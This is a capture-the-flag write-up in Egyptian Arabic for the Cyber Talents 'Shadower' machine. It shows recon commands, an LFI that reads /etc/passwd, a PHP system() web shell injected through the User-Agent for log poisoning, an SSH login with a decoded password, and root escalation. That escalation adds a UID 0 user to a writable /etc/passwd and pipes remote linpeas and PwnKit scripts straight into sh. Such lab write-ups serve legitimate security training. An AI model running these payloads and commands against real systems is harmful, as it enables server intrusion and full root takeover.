Shadower Machine From Cyber Talents
7/29/2025

7/29/2025
Platform: Cyber Talents
Category: Web Exploitation + Linux Privilege Escalation
Difficulty: Medium
Goal: Get a shell on the server → escalate to root → capture the flag
nmap -sC -sV -Pn 54.67.92.245
nmap
: الأداة المستخدمة لفحص الشبكة واكتشاف الخدمات والمنافذ.-sC
: تستخدم السكربتات الافتراضية من Nmap (equivalent to --script=default
)هذه السكربتات تفيد في جمع معلومات إضافية عن الخدمات مثل إصدارات البرامج، الثغرات البسيطة، وغيرها.
-sV
: تقوم بتحديد إصدار كل خدمة تعمل على المنافذ المفتوحة.مثال: إذا كان فيه خادم Apache على البورت 80، سيُظهر إصدار Apache.
-Pn
: تجاهل عملية الـ Ping قبل الفحص.تُستخدم هذه الخيار عند حظر ICMP Echo Requests (يعني الهدف ما بيردش على ping)، فنفحص مباشرة بدون التأكد من أنه حيّ.
54.67.92.245
: هو عنوان الـ IP الهدف الخاص بالتحدي.نلاحظ إن التلاتة دول حالتهم "filtered"، وده معناه إن السيرفر بيرفض يرد عليهم أو فيه جدار ناري (firewall) مانع الوصول.
افتح المتصفح وروح على الرابط ده:http://54.67.92.245
شوف شكل الصفحة، ولو لقيت صفحة Default بتاعت Apache، نبدأ نفحصها بأدوات زي:
whatweb
nikto
gobuster
أو ffuf
علشان نكتشف المسارات (Directory Bruteforce)GoBuster
:upload.php
, debug.txt
, config.html
, إلخ.gobuster dir -u http://54.67.92.245 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 40
gobuster dir
:-u http://54.67.92.245
:-w /usr/share/wordlists/dirb/common.txt
:-x php,txt,html
:admin.php
, login.html
, config.txt
).-t 40
:الصفحة الافتراضية الخاصة ب apache
مفيش حاجة مفيدة
فاضية بس هنبص ع ال source code
بس لسة مش عارفين ده ل أي بالظبط ف هنخليه ف ملف الملاحظات بتاعنا
مفيش حاجة مفيدة حتي لما زورت الصفحات اللي ليها لينكات دي ف قولت يمكن الصورة فيها حاجة مستخبية او معلومات او ملفات ف حملت الصورة وجربت عليها كذا اداة
security.png
:binwalk
للبحث عن ملفات مخفية داخل الصورة:binwalk security.png
لو فيه ملفات مخفية (ZIP، نصوص، ملفات PNG ثانية)، هيظهرلك offsets تقدر تستخرجها بـ:
binwalk -e security.png
zsteg
(لتحليل steganography على PNG):zsteg security.png
بيكشف عن رسائل مخفية بالـ LSB في الصور PNG.
exiftool security.png
أحيانًا بيكون فيه Notes أو Comment مخفية.
strings
:strings security.png | less
ابحث عن كلمات شبه:flag
,cve
,password
,secret
,maxsecure
,audit
, إلخ...
binwalk security.png 0x00000120 - PNG image 0x0000A040 - Zip archive data, at offset 0xA040
وقتها تعمل:
dd if=security.png bs=1 skip=41024 of=hidden.zip unzip hidden.zip
LFI = Local File Inclusion = تضمين ملفات محلية
ثغرة LFI بتحصل لما الموقع يسمحلك تحدد اسم ملف موجود على السيرفر، ويقوم السيرفر بقراءته أو تنفيذه بدون تحقق كافي.
لو عندك لينك زي ده:
http://example.com/index.php?page=home
الـ page=home
معناها إن الموقع بيعمل كده في الكود:
include($_GET['page'] . ".php");
لو أنت غيرت الرابط كده:
http://example.com/index.php?page=../../../../etc/passwd
السيرفر هيحاول يقرأ الملف ده:
../../../../etc/passwd.php
لكن لو .php
مش متضافة تلقائي، أو الكود بيستخدم include($page)
مباشر بدون إضافات، فهتقدر توصل لأي ملف في النظام!
ف تع نبص
curl 'http://54.241.254.27/index.php?view=about-us.html'
الناتج
<html>
<head>
<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about-us.html">About Us</a>
<a href="index.php?view=contact-us.html">Contact</a>
</div>
<p></p> </body>
</html>
تع نجرب LFI
curl 'http://54.241.254.27/index.php?view=../../../../etc/passwd'
الناتج
<html>
<head>
<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about-us.html">About Us</a>
<a href="index.php?view=contact-us.html">Contact</a>
</div>
<p>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
zerotier-one:x:999:999::/var/lib/zerotier-one:/bin/sh
</p> </body>
</html>
المقالة دي حلوة برضة هنا
مثلاً تبعت request فيه الكود في الـ User-Agent:
curl -A "<?php system(\$_GET['cmd']); ?>" http://54.67.92.245
كده كود الـ PHP هيتسجل جوه ملف:
/var/log/apache2/access.log
افترض إن LFI موجودة في:
http://54.67.92.245/index.php?view=
جرب:
http://54.67.92.245/index.php?view=/var/log/apache2/access.log&cmd=id
لو السيرفر فعلاً عامل include للملف، الكود هيتنفذ وهيرجعلك نتيجة id
.
هتشوف رد زي:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ده معناه إنك قدرت تنفذ أوامر على السيرفر بنجاح!
john
<!-- my0wns3cr3t.sec -->
من صفحة /contact-us.html
==
كدا عرفت انه base64
cat ./hashed.txt | base64 -d
cat ./hashed.txt | base64 -d | base64 -d | base64 -d | ......etc
ssh john@54.241.254.27
وبكدا عملنا هاك ع الماشين
john@ip-172-31-20-131:~$ whoami
john
علي جهاز الضحية :
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
لو ملف /etc/passwd
قابل للكتابة لأي مستخدم (-rw-rw-rw-
أو -rw-r--r--
أو فيه w
لأي حد غير root)، تقدر تضيف مستخدم جديد أو تعدّل على باسوورد مستخدم موجود (زي root
) من غير ما تحتاج إذن.
ملف /etc/passwd
بيحتوي على بيانات المستخدمين، والصيغة بتاعته كده:
username:x:UID:GID:comment:home:shell
x
حطيت هاش كلمة السر مباشرة (بدل ما تكون موجودة في /etc/shadow
) — النظام هيقرأها من هنا./etc/passwd
openssl passwd -1 -salt razook password123
هيطلعلك حاجة زي:
$1$razook$z2VXKkbIa0WSisPVEHxVq1
افتح /etc/passwd
بأي محرر (لو عندك صلاحية الكتابة):
nano /etc/passwd
ضيف السطر ده:
hacker:$1$razook$z2VXKkbIa0WSisPVEHxVq1:0:0:hacked:/root:/bin/bash
ده معناه:
hacker
: اسم المستخدم:0:0:
= UID:GID = root privileges/bin/bash
su hacker # هيدخلك root لو كتبت الباسورد: password123
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"